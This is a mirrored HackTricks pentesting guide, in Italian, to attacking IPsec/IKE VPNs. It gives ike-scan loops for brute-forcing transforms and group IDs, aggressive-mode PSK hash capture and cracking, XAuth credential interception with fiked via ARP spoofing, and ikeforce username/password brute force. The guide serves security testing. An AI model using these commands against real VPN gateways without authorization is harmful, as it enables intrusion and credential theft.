Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 17:28:13 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

19 KiB
Raw Blame History

500/udp - Test di penetrazione IPsec/IKE VPN

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Informazioni di Base

IPsec è ampiamente riconosciuto come la tecnologia principale per garantire la sicurezza delle comunicazioni tra reti (LAN-to-LAN) e dagli utenti remoti al gateway di rete (accesso remoto), fungendo da base per le soluzioni VPN aziendali.

L'instaurazione di un'associazione di sicurezza (SA) tra due punti è gestita da IKE, che opera sotto l'egida di ISAKMP, un protocollo progettato per l'autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:

  • Fase 1: Viene creato un canale sicuro tra due endpoint. Ciò viene realizzato mediante l'uso di una chiave pre-condivisa (PSK) o certificati, impiegando il main mode, che coinvolge tre coppie di messaggi, o aggressive mode.
  • Fase 1.5: Anche se non obbligatoria, questa fase, nota come Fase di Autenticazione Estesa, verifica l'identità dell'utente che cerca di connettersi richiedendo un nome utente e una password.
  • Fase 2: Questa fase è dedicata alla negoziazione dei parametri per la sicurezza dei dati con ESP e AH. Consente l'uso di algoritmi diversi da quelli della Fase 1 per garantire la Perfect Forward Secrecy (PFS), migliorando la sicurezza.

Porta predefinita: 500/udp

Scopri il servizio utilizzando nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Trova una trasformazione valida

La configurazione IPSec può essere preparata per accettare solo una o poche trasformazioni. Una trasformazione è una combinazione di valori. Ogni trasformazione contiene un numero di attributi come DES o 3DES come algoritmo di crittografia, SHA o MD5 come algoritmo di integrità, una chiave pre-condivisa come tipo di autenticazione, Diffie-Hellman 1 o 2 come algoritmo di distribuzione delle chiavi e 28800 secondi come durata.

Quindi, la prima cosa da fare è trovare una trasformazione valida, in modo che il server possa comunicare con te. Per farlo, puoi utilizzare lo strumento ike-scan. Di default, Ike-scan funziona in modalità principale e invia un pacchetto al gateway con un'intestazione ISAKMP e una singola proposta con otto trasformazioni al suo interno.

A seconda della risposta, puoi ottenere alcune informazioni sull'endpoint:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Come puoi vedere nella risposta precedente, c'è un campo chiamato AUTH con il valore PSK. Ciò significa che la VPN è configurata utilizzando una chiave precondivisa (e questo è davvero buono per un pentester).
Anche il valore dell'ultima riga è molto importante:

  • 0 handshake restituito; 0 notifica restituita: Questo significa che il target non è un gateway IPsec.
  • 1 handshake restituito; 0 notifica restituita: Questo significa che il target è configurato per IPsec ed è disposto a eseguire la negoziazione IKE, e uno o più dei trasformazioni che hai proposto sono accettabili (una trasformazione valida verrà mostrata nell'output).
  • 0 handshake restituito; 1 notifica restituita: I gateway VPN rispondono con un messaggio di notifica quando nessuna delle trasformazioni è accettabile (anche se alcuni gateway non lo fanno, in tal caso è necessario provare un'analisi ulteriore e una proposta rivista).

Quindi, in questo caso abbiamo già una trasformazione valida, ma se ti trovi nel terzo caso, allora è necessario forzare un po' per trovare una trasformazione valida:

Prima di tutto è necessario creare tutte le possibili trasformazioni:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

E quindi eseguire l'attacco di forza bruta su ciascuno di essi utilizzando ike-scan (questo potrebbe richiedere diversi minuti):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Se il brute-force non ha funzionato, forse il server sta rispondendo senza handshake anche alle trasformazioni valide. Quindi, potresti provare lo stesso brute-force ma utilizzando la modalità aggressiva:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Sperabilmente una trasformazione valida viene ripetuta.
Puoi provare lo stesso attacco utilizzando iker.py.
Potresti anche provare a forzare le trasformazioni con ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Nel Gruppo DH: 14 = MODP da 2048 bit e 15 = 3072 bit
2 = HMAC-SHA = SHA1 (in questo caso). Il formato --trans è $Enc,$Hash,$Auth,$DH

Cisco indica di evitare di utilizzare i gruppi DH 1 e 2 perché non sono abbastanza sicuri. Gli esperti ritengono che paesi con moltissime risorse possono facilmente decifrare i dati che utilizzano questi gruppi deboli. Ciò avviene utilizzando un metodo speciale che li prepara a decifrare rapidamente i codici. Anche se costa molto denaro configurare questo metodo, consente a questi potenti paesi di leggere i dati crittografati in tempo reale se utilizzano un gruppo non sicuro (come 1.024 bit o inferiore).

Fingerprinting del server

Successivamente, è possibile utilizzare ike-scan per cercare di scoprire il produttore del dispositivo. Lo strumento invia una proposta iniziale e smette di riprodurla. Successivamente, analizzerà la differenza di tempo tra i messaggi ricevuti dal server e il modello di risposta corrispondente, consentendo al pentester di identificare con successo il produttore del gateway VPN. Inoltre, alcuni server VPN utilizzeranno il payload opzionale Vendor ID (VID) con IKE.

Specificare la trasformazione valida se necessario (usando --trans)

Se IKE scopre il produttore, lo stamperà:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Questo può essere ottenuto anche con lo script nmap ike-version

Trovare l'ID corretto (nome del gruppo)

Per poter acquisire l'hash è necessario disporre di una trasformazione valida che supporti la modalità Aggressiva e l'ID corretto (nome del gruppo). Probabilmente non si conoscerà il nome del gruppo valido, quindi sarà necessario forzarlo.
Per farlo, ti consiglierei 2 metodi:

Forzare l'ID con ike-scan

Innanzitutto, prova a fare una richiesta con un ID falso cercando di raccogliere l'hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Se nessun hash viene restituito, probabilmente questo metodo di forza bruta funzionerà. Se viene restituito qualche hash, significa che verrà inviato un hash falso per un ID falso, quindi questo metodo non sarà affidabile per forzare l'ID. Ad esempio, potrebbe essere restituito un hash falso (questo accade nelle versioni moderne):

Ma come ho detto, se non viene restituito alcun hash, dovresti provare a forzare i nomi di gruppi comuni usando ike-scan.

Questo script proverà a forzare possibili ID e restituirà gli ID in cui viene restituito un handshake valido (questo sarà un nome di gruppo valido).

Se hai scoperto una trasformazione specifica, aggiungila al comando ike-scan. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo loop per provarle tutte (dovresti provarle tutte finché una di esse funziona correttamente).

Puoi utilizzare il dizionario di ikeforce o quello in seclists di nomi di gruppi comuni per forzarli:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Forzare l'ID con Iker

iker.py utilizza anche ike-scan per forzare possibili nomi di gruppo. Segue il proprio metodo per trovare un ID valido basato sull'output di ike-scan.

Forzare l'ID con ikeforce

ikeforce.py è uno strumento che può essere utilizzato anche per forzare gli ID. Questo strumento cercherà di sfruttare diverse vulnerabilità che potrebbero essere utilizzate per distinguere tra un ID valido e uno non valido (potrebbero esserci falsi positivi e falsi negativi, ecco perché preferisco utilizzare il metodo ike-scan se possibile).

Per impostazione predefinita, ikeforce invierà all'inizio alcuni ID casuali per verificare il comportamento del server e determinare la tattica da utilizzare.

  • Il primo metodo consiste nel forzare i nomi dei gruppi ricercando le informazioni Dead Peer Detection DPD dei sistemi Cisco (queste informazioni vengono riprodotte solo dal server se il nome del gruppo è corretto).
  • Il secondo metodo disponibile è quello di controllare il numero di risposte inviate per ogni tentativo perché a volte vengono inviati più pacchetti quando viene utilizzato l'ID corretto.
  • Il terzo metodo consiste nel ricercare "INVALID-ID-INFORMATION" in risposta all'ID non corretto.
  • Infine, se il server non risponde a nulla ai controlli, ikeforce cercherà di forzare il server e verificare se quando viene inviato l'ID corretto il server risponde con qualche pacchetto.
    Ovviamente, l'obiettivo di forzare l'ID è ottenere il PSK quando si dispone di un ID valido. Quindi, con l'ID e il PSK sarà necessario forzare l'XAUTH (se abilitato).

Se hai scoperto una trasformazione specifica, aggiungila al comando ikeforce. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte fino a quando una di esse funziona correttamente).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Dal libro Network Security Assessment: Know Your Network): È anche possibile ottenere nomi utente validi sniffando la connessione tra il client VPN e il server, poiché il primo pacchetto della modalità aggressiva contenente l'ID del client viene inviato in chiaro

Cattura e crack dell'hash

Infine, se hai trovato una trasformazione valida e il nome del gruppo e se la modalità aggressiva è consentita, allora puoi facilmente acquisire l'hash craccabile:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Il codice hash verrà salvato all'interno di hash.txt.

Puoi utilizzare psk-crack, john (utilizzando ikescan2john.py) e hashcat per craccare il codice hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

La modalità IKE aggressiva combinata con una Chiave Pre-Condivisa (PSK) è comunemente impiegata per scopi di autenticazione di gruppo. Questo metodo è potenziato da XAuth (Autenticazione Estesa), che serve a introdurre uno strato aggiuntivo di autenticazione dell'utente. Tale autenticazione di solito sfrutta servizi come Microsoft Active Directory, RADIUS, o sistemi comparabili.

Passando a IKEv2, si osserva uno spostamento significativo dove EAP (Protocollo di Autenticazione Estensibile) è utilizzato al posto di XAuth allo scopo di autenticare gli utenti. Questo cambiamento sottolinea un'evoluzione nelle pratiche di autenticazione all'interno dei protocolli di comunicazione sicuri.

Man-in-the-Middle della rete locale per catturare le credenziali

In questo modo è possibile catturare i dati del login utilizzando fiked e vedere se c'è un nome utente predefinito (È necessario reindirizzare il traffico IKE a fiked per lo sniffing, che può essere fatto con l'aiuto del ARP spoofing, ulteriori informazioni). Fiked agirà come un endpoint VPN e catturerà le credenziali XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Attacco MitM e blocco del traffico alla porta 500

Inoltre, utilizzando IPSec, prova a effettuare un attacco MitM e blocca tutto il traffico alla porta 500. Se il tunnel IPSec non può essere stabilito, è possibile che il traffico venga inviato in chiaro.

Forzatura dei nomi utente e delle password XAUTH con ikeforce

Per forzare la XAUTH (quando si conosce un nome gruppo valido id e il psk), è possibile utilizzare un nome utente o un elenco di nomi utente e un elenco di password:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

In questo modo, ikeforce cercherà di connettersi utilizzando ciascuna combinazione di username:password.

Se hai trovato una o più trasformazioni valide, utilizzale come nei passaggi precedenti.

Autenticazione con una VPN IPSEC

In Kali, VPNC è utilizzato per stabilire tunnel IPsec. I profili devono essere situati nella directory /etc/vpnc/. Puoi avviare questi profili utilizzando il comando vpnc.

I seguenti comandi e configurazioni illustrano il processo di configurazione di una connessione VPN con VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In questa configurazione:

  • Sostituire [VPN_GATEWAY_IP] con l'indirizzo IP effettivo del gateway VPN.
  • Sostituire [VPN_CONNECTION_ID] con l'identificatore della connessione VPN.
  • Sostituire [VPN_GROUP_SECRET] con il segreto di gruppo del VPN.
  • Sostituire [VPN_USERNAME] e [VPN_PASSWORD] con le credenziali di autenticazione del VPN.
  • [PID] simboleggia l'ID del processo che verrà assegnato quando vpnc viene avviato.

Assicurarsi di utilizzare valori effettivi e sicuri per sostituire i segnaposto durante la configurazione del VPN.

Materiale di Riferimento

Shodan

  • port:500 IKE

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: